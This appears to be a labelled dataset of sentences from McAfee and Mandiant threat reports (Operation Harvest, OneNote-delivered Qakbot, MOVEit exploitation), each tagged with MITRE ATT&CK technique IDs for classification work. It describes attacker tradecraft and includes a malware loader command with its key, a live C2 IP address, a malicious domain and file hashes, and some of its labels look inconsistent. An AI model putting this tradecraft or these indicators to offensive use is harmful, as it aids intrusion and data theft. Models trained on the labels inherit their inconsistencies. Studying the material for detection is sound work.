{"sentence": "Well, not really.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "While correlating the observed (sub-)techniques, the malware families and code, we discovered another targeted attack against a similar target in the same nation with the major motivation of gathering intelligence.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In the following diagram we conducted a high-level comparison of the tools being used by the adversary: Figure 9 Tools comparison Although some of the tools are unique to each campaign, if taken into consideration over time with when they were used, it makes sense.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "It demonstrates the development of the actor and use of newer tools to conduct lateral movement and to obtain the required level of user rights on systems.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Overall, we observed the same modus operandi.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Once an initial foothold was established, the adversary would deploy PlugX initially to create a few backdoors in the victim’s network in case they were discovered early on.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After that, using Mimikatz and dumping lsass, they were looking to get valid accounts.", "labels": ["T1003.001", "T1078"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Once valid accounts were acquired, several tools including some of their own tools were used to gain information about the victim’s network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "From there, several shares/servers were accessed, and information gathered.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "That information was exfiltrated as rar files and placed on an internet-facing server to hide in the ‘normal’ traffic.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We represent that in the following graphic: Figure 10 Attack flow In the 2019/2020 case we also observed the use of a malware sample that we would classify as part of the Winnti malware family.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We discovered a couple of files that were executed by the following command: Start Ins64.exe E370AA8DA0 Jumper64.dat", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The Winnti loader ‘Ins64.exe’ uses the value ‘E370AA8DA0’ to decrypt the payload from the .dat file using the AES-256-CTR decryption algorithm and starts to execute.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After executing this command and analyzing the memory, we observed a process injection in one of the svchost processes whereby one particular file was loaded from the following path: C:\\programdata\\microsoft\\windows\\caches\\ieupdate.dll Figure 11", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Memory capture The malware started to open up both UDP and TCP ports to connect with a C2 server.", "labels": ["T1095"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "UDP Port 20502 TCP Port 20501 Figure 12 Network connections to C2 Capturing the traffic from the malware we observed the following as an example: Figure 13 Winnti HTTP traffic to C2 The packet data was customized and sent through a POST request with several headers towards the C2.", "labels": ["T1071.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In the above screenshot the numbers after “POST /” were randomly generated.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The User-Agent is a good network indicator to identify the Winnti malware since it is used in multiple variants: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 Indeed, the same User Agent value was discovered in the Winnti sample in Operation Harvest and seems to be typical for this malware family.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The cookie value consists of four Dword hex values that contain information about the customized packet size using a XOR value.", "labels": ["T1573.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We learned more about the packet structure of Winnti from this link.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Applying what we learned about the handshake, we observed the following in our traffic sample: Dword value 0", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "= 52 54 00 36 Dword value 1 = 3e ff 06 b2 Dword value 2 = 99 6d 78 fe Dword value 3 = 08 00", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "45 00 Dword value 4 = 00 34 00 47 Initial handshake order: Based on our cross-correlation with samples and other OSINT resources, we believe with a high confidence that this was a Winnti 4.0 sample that connects with a confirmed Winnti C2 server.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The identified C2 server was 185.161.211.97 TCP/80.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Timeline of Events When analyzing the timestamps from this investigation, like we did for operation Harvest, we came to the below overview: Figure 14 Beijing working hours case 2019/2020 Again, we observed that the adversary was operating Monday to Friday during office hours in the Beijing time-zone.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Conclusion Operation Harvest has been a long-term operation whereby an adversary maintained access for multiple years to exfiltrate data.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The exfiltrated data would have either been part of an intellectual property theft for economic purposes and/or would have provided insights that would be beneficial in case of military interventions.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The adversaries made use of techniques very often observed in this kind of attack but also used distinctive new backdoors or variants of existing malware families.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Combining all forensic artifacts and cross-correlation with historical and geopolitical data, we have high confidence that this operation was executed by an experienced APT actor.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After mapping out all data, TTP’s etc., we discovered a very strong overlap with a campaign observed in 2019/2020.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "A lot of the (in-depth) technical indicators and techniques match.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Also putting it into perspective, and over time, it demonstrates the adversary is adapting skills and evolving the tools and techniques being used.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "On a separate note, we observed the use of the Winnti malware.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We deliberately mention the term ‘malware’ instead of group.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The Winnti malware is known to be used by several actors.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Within every nation-state cyber-offensive activity, there will be a department/unit responsible for the creation of the tools/malware, etc.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We strongly believe that is exactly what we observe here as well.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "PlugX, Winnti and some other custom tools all point to a group that had access to the same tools.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Whether we put name ‘X’ or ‘Y’ on the adversary, we strongly believe that we are dealing with a Chinese actor whose long-term objectives are persistence in their victims’ networks and the acquisition of the intelligence needed to make political/strategic or manufacturing decisions.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "MITRE ATT&CK Techniques Technique ID Technique Title Context Campaign T1190 Exploit Public-facing application Adversary exploited a web-facing server with application T1105 Ingress Tool transfer Tools were transferred to a compromised web-facing server T1083 File & Directory Discovery Adversary browsed several locations to search for the data they were after.", "labels": ["T1083", "T1105", "T1190"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "T1570 Lateral Tool Transfer Adversary transferred tools/backdoors to maintain persistence T1569.002 System Services: Service Execution Adversary installed custom backdoor as a service T1068", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The exploitation of Privilege Escalation Adversary used Rotten/Bad Potato to elevate user rights by abusing API calls in the Operating System.", "labels": ["T1068", "T1106"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "T1574.002 Hijack Execution Flow: DLL Side-Loading Adversary used PlugX malware that is famous for DLL-Side-Loading using a valid executable, a DLL with the hook towards a payload file.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "T1543.003 Create or Modify System Process: Windows Service Adversary launched backdoor and some tools as a Windows Service including adding of registry keys T1546.003 Event-Triggered Execution: WMI Event Subscription WMI was used for running commands on remote systems T1053.005 Scheduled task Adversary ran scheduled tasks for persistence of certain malware samples T1078 Valid accounts Using Mimikatz and dumping of lsass, the adversary gained credentials in the network T1020 Automated exfiltration The PlugX malware exfiltrated data towards a C2 and received commands to gather more information about the victim’s compromised host. T1030 Data transfer size limits Adversary limited the size of rar files for exfiltration T1070.004 Indicator removal on host Where in the beginning of the campaign the adversary was sloppy, during the last months of activity they became more careful and started to remove evidence T1041 Exfiltration over C2 channel Adversary used several C2 domains to interact with compromised hosts.", "labels": ["T1003.001", "T1027", "T1041", "T1047", "T1053.005", "T1078", "T1112", "T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "T1567 Exfiltration over Web Service Gathered information was stored as ‘rar’ files on the internet-facing server, whereafter they were downloaded by a specific ip range.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "T1071.004 Application layer protocol: DNS Using DNS tunneling for the C2 traffic of the PlugX malware Indicators of Compromise (IOCs) Note: the indicators shared are to be used in a historical and timeline-based context, ranging from 2016 to March 2021.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Operation Harvest: PlugX C2: sery(.)brushupdata(.)com Dnssery(.)brushupdata(.)com Center(.)asmlbigip(.)com Tools: Mimikatz PsExec RottenPotato BadPotato Operation 2019/2020 PlugX malware: f50de0fae860a5fd780d953a8af07450661458646293bfd0fed81a1ff9eb4498 26e448fe1105b5dadae9b7607e3cca366c6ba8eccf5b6efe67b87c312651db01 e9033a5db456af922a82e1d44afc3e8e4a5732efde3e9461c1d8f7629aa55caf 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe Winnti: 800238bc27ca94279c7562f1f70241ef3a37937c15d051894472e97852ebe9f4 c3c8f6befa32edd09de3018a7be7f0b7144702cb7c626f9d8d8d9a77e201d104 df951bf75770b0f597f0296a644d96fbe9a3a8c556f4d2a2479a7bad39e7ad5f Winnti C2: 185.161.211.97 Tools: PSW64 6e983477f72c8575f8f3ff5731b74e20877b3971fa2d47683aff11cfd71b48c6 NTDSDumpEx 6db8336794a351888636cb26ebefb52aeaa4b7f90dbb3e6440c2a28e4f13ef96 NBTSCAN c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e NetSess ddeeedc8ab9ab3b90c2e36340d4674fda3b458c0afd7514735b2857f26b14c6d Smbexec e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee Wmiexec 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 Mimikatz RAR command-line TCPdump The post Operation ‘Harvest’: A Deep Dive into a Long-term Campaign appeared first on McAfee Blog.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Authored By Anandeshwar Unnikrishnan,Sakshi Jaiswal,Anuradha M McAfee Labs has recently observed a new Malware campaign which used malicious OneNote documents to entice users to click on an embedded file to download and execute the Qakbot trojan.", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "OneNote is a Microsoft digital notebook application that can be downloaded for free.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "It is a note-taking app that allows collaboration across organizations while enabling users to embed files and other artifacts.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "It is installed by default in Microsoft Office 2021 and Microsoft 365.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Malicious Actors are always trying to find new ways in to infect their victims.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Such as their shift to LNK files after Microsoft introduced a policy change disabled office macros by default.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Due to a feature that allows users to attach files to OneNote documents it makes them a good alternative to LNK files as distribution vehicle to deploy their malware.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "This blog contains analysis on how OneNote documents are used malicious and two specific campaigns that made use of OneNote documents to download and execute the Qakbot malware.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "OneNote Campaigns in the wild Figure 1 Campaign Heatmap Figure 1 shows the geo wise distribution of McAfee customers detecting malicious OneNote files.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Based on the telemetry from our endpoints we have identified the following threat families deployed through OneNote documents: Iceid Qakbot RedLine AsyncRat Remcos AgentTesla QuasarRAT XWORM Netwire Formbook Doubleback Overview Of Malicious OneNote Documents A holistic view of the phishing campaigns that weaponize OneNote document is shown in Figure 2 below.", "labels": ["T1566.001"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The malicious document is delivered in either zip files or ISO images to the target through phishing emails.", "labels": ["T1566.001"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "We have observed that most of the malicious documents either have Windows batch script that invokes Powershell for dropping the malware on the system or Visual Basic scripts that does the same.", "labels": ["T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 2 Campaign Overview The generic theme of the email is invoice or legal related.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "These types of themes are more likely to be opened by the vicim.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "An example email body and attachment is shown in Figure 3 and 4. Figure 3 Email Body Figure 4 Attachment A Deep Dive into OneNote File Format File Header To understand how the data is laid out in the file, we need to examine it at byte level.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Taking a close look at OneNote document gives us an interesting observation as its magic bytes for the header is not a trivial one.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 5 shows the first 16 bytes of the document binary.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 5 OneNote Header", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The first 16 bytes need to be interpreted as GUID value {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "We can use the official documentation for OneNote specification to make sense of all the bytes and its structuring.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 6 shows header information taken from the OneNote specification document.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 6 OneNote Specification The Data Stream in OneNote, Say Hello To FileDataStoreObject To find the embedded data in a OneNote document, we need to learn more about the FileDataStoreObject which has a GUID value of {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC}.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The structure that holds the data is shown below: guidHeader (16 bytes) Size: 16 bytes Value: {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC} cbLength Size: 8 bytes Value:", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Size of the data unused Size: 4 bytes reserved Size: 8 bytes FileData Size: Variable guidFooter Size: 16 bytes Value: {71FBA722-0F79-4A0B-BB13-899256426B24}", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The FileData member of the FileDataStoreObject is the key member that holds the embedded data in the OneNote document.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The size can be retrieved from the cbLength member.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 7 shows the “on disk” representation of the FileDataStoreObject This is taken from a malicious OneNote document used to spread the Qakbot payload.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The guidHeader for the data object is highlighted in yellow and the data is shown in red.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "As it is evident from the image the data represents a text file which is a script to launch PowerShell.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 7 Embedded data in Data object For more information on the OneNote specification, go to reference section Artifact Extraction", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Now we have an idea of what the data object is, with this knowledge we can automate the process of extracting embedded artifacts for further analysis from the OneNote document by following the below algorithm.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Search for FileDataStoreObject GUID in the binary.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Interpret the FileDataStoreObject structure Retrieve cbLength member (size of the data represented by FileDataStoreObject)", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Read N bytes (cbLength) after Reserved 8 bytes in FileDataStoreObject.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Dump the bytes read on to disk Repeat above steps for every FileDataStoreObject present in the binary Embedded Executable Objects In OneNote Execution Of Embedded Entities Looking at the runtime characteristics of OneNote Desktop application we have observed that when an embedded file gets executed by the user, it is stored temporarily in the OneNote directory in the User’s Temp location.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Each directory with GUID values represents a different document opened in the OneNote application.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 8 OneNote directory in Temp By analyzing numerous malicious documents, we have been able to create a “test” OneNote document that executes a batch file that contains the “whoami” command.", "labels": ["T1033", "T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The image in Figure 9 show the batch file being created in the user’s temp location.", "labels": ["T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 9 OneNote drops embedded artifacts in Temp directory Qakbot Campaign 1: This section contains specific details on a Qakbot campaign.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "In campaign 1, the malware author used phishing emails to deliver malicious OneNote document either as attachment or a URL link to zip file containing the OneNote document.", "labels": ["T1566.001"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The OneNote contained aHTA file that once executed would make use of the curl utility to download Qakbot and then execute it.", "labels": ["T1105"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Infection Flow: Figure 10 Infection Chain Spam email delivers a malicious OneNote file as an attachment or a link to a ZIP file that contains a OneNote file.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "OneNote file contains an embedded HTA attachment and a fake message to lure users to execute the HTA file The HTA file uses curl utility to download the Qakbot payload and is executed by rundll32.exe.", "labels": ["T1027", "T1105", "T1204.002", "T1218.011"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Technical Analysis:", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The OneNote file with the embedded HTA file is shown in the Figure 11.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Once this OneNote file is opened, it prompts the user with a fake message to double-click on open to view the attachment.", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 11 OneNote Template Upon clicking the Open button, it drops the HTA file with the name Open.hta to the %temp%", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Folder and executes it using mshta.exe. Figure 12 Drop file in Temp location", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The HTA file contains obfuscated script as shown below: Figure 13 Obfuscated HTA script The HTA file is loaded by MSHTA and creates a registry key in HKEY_CURRENT_USER\\SOFTWARE\\ with obfuscated content as shown below: Figure 14 Registry key creation", "labels": ["T1027", "T1112"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The obfuscated registry is then read by MSHTA and the obfuscated code is de-obfuscated.", "labels": ["T1027", "T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The code is then initialized to a new function object as shown in Block1.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Finally, MSHTA calls this function by passing the malicious URL as a parameter and then deletes the registry key as shown in Block 2.", "labels": ["T1112"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "De-obfuscated content from the HTA file is shown below: Figure 15 Deobfuscated HTA content Curl is used to download the malicious DLL file in C:\\ProgramData Folder with .png extension.", "labels": ["T1105", "T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The script will then execute the downloaded file with Rundll32.exe with the export function Wind.", "labels": ["T1105", "T1218.011"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 16 Downloaded payload in ProgramData A fake error message is displayed after loading the downloaded payload and MSHTA is terminated.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 17 Fake error message Figure 18 shows the process tree of Qakbot: Figure 18 Process Chain IOCs: Type Value Product Detected Campain 1 – OneNote File 88c24db6c7513f47496d2e4b81331af60a70cf8fb491540424d2a0be0b62f5ea Total Protection and LiveSafe VBS/Qakbot.a Campain 1 – HTA File e85f2b92c0c2de054af2147505320e0ce955f08a2ff411a34dce69c28b11b4e4 Total Protection and LiveSafe VBS/Qakbot.b", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Campain 1 – DLL File 15789B9b6f09ab7a498eebbe7c63b21a6a64356c20b7921e11e01cd7b1b495e3 Total Protection and LiveSafe Qakbot-FMZ Campaign 2: Examining Malicious OneNote Documents The OneNote document for campaign 2 is shown in Figure 19.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "At first glance it it appears that there is a ‘Open’ button embedded within the document.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The message above the ‘Open’ button instructs the user to “double click” in order to receive the attachment.", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 19 Malicious content A closer look at the document reveals the graphical elements are all images placed in a layered style by the malicious actor.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "By moving the icons aside, we can see the malicious batch file which when executed downloads the payload from the Internet and executes on the target system.", "labels": ["T1059.003", "T1105"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 20 Hidden Malicious dropper script Execution Of Payload Dropper Upon execution of the batch file, Powershell will be invoked and it fetch the Qakbot payload from Internet and execute it on the target system.", "labels": ["T1059.003", "T1105"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "This section will cover details of dropper script used to deploy QakBot.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The Figure 21 Show the process tree after the execution of the script and you can see that powershell.exe was launched by cmd.exe and the parent of cmd.exe is onenote.exe.", "labels": ["T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 21 Process chain", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The contents of process cmd.exe (7176) are shown below.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 22 Cmd.exe properties", "labels": ["T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The base64 decoded batch file is shown in Figure 23.", "labels": ["T1059.003", "T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "This will use powershell to download the payload and then execute it with rundll32.exe Figure 23 Base64 Decoded instructions in dropper IOCS Type Value Product Detected Campain 2 – Zip File 000fb3799a741d80156c512c792ce09b9c4fbd8db108d63f3fdb0194c122e2a1 Total Protection and LiveSafe VBS/Qakbot.a Campain 2 – OneNote File 2bbfc13c80c7c6e77478ec38d499447288adc78a2e4b3f8da6223db9e3ac2d75 Total Protection and LiveSafe One/Downloader.a Campain 2 – Powershell File b4dd3e93356329c076c0d2cd5ac30a806daf46006bdb81199355952e9d949424 Total Protection and LiveSafe PS/Agent.gs Campain 2 – OneNoteFile a870d31caea7f6925f41b581b98c35b162738034d5d86c0c27c5a8d78404e860 Total Protection and LiveSafe VBS/Qakbot.a Domains: starcomputadoras.com Conclusion: Malware authors are getting more sophisticated when it comes to hiding their payloads.", "labels": ["T1105", "T1140", "T1218.011"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "This Blog highlights the recent Qakbot campaign that delivers its payload which uses the OneNote application as a delivery mechanism.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "McAfee Customers should keep their systems up-to-date and refrain from clicking links and opening attachments in suspicious emails to stay protected. References: https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-onestore/405b958b-4cb7-4bac-81cc-ce0184249670 https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-onestore/8806fd18-6735-4874-b111-227b83eaac26 The post The Rising Trend of OneNote Documents for Malware delivery appeared first on McAfee Blog.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Mandiant has observed wide exploitation of a zero-day vulnerability in the MOVEit Transfer secure managed file transfer software for subsequent data theft.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "This vulnerability was announced by Progress Software Corporation on May 31, 2023 and has been assigned CVE-2023-34362.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Based on initial analysis from Mandiant incident response engagements, the earliest evidence of exploitation occurred on May 27, 2023 resulting in deployment of web shells and data theft.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "In some instances, data theft has occurred within minutes of the deployment of web shells.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Mandiant currently attributes this activity to UNC4857, a newly created threat cluster with unknown motivations that has impacted organizations operating in a wide range of industries based in Canada, India, and the U.S., but their impact is almost certainly broader.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The seemingly opportunistic nature of this campaign and subsequent data theft activity is consistent with activity that we’ve seen from extortion actors, which means victim organizations could potentially receive ransom emails in the coming days to weeks.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Following exploitation of the vulnerability, the threat actors are deploying a newly discovered LEMURLOOT web shell with filenames that masquerade as human.aspx, which is a legitimate component of the MOVEit Transfer software.", "labels": ["T1036.005"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Mandiant has observed several POST requests made to the legitimate guestaccess.aspx file before interaction with the LEMURLOOT webshell, indicating SQLi attacks were directed towards that file.", "labels": ["T1071.001"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "We have observed LEMURLOOT samples with the filenames human2.aspx and _human2.aspx.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Various samples with the name human2.aspx were uploaded to VirusTotal beginning on May 28, 2023.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Samples of LEMURLOOT have been uploaded to public repositories from several additional countries—including Italy, Pakistan, and Germany—suggesting that UNC4857 has also impacted organizations in these nations.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "LEMURLOOT provides functionality tailored to execute on a system running MOVEit Transfer software, including the ability to generate commands to enumerate files and folders, retrieve configuration information, and create or delete a user with a hard-coded name.", "labels": ["T1083"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Initial analysis suggests that the LEMURLOOT web shell is being used to steal data previously uploaded by the users of individual MOVEit Transfer systems.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Mandiant is aware of multiple cases where large volumes of files have been stolen from victims' MOVEit transfer systems.", "labels": ["T1005"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
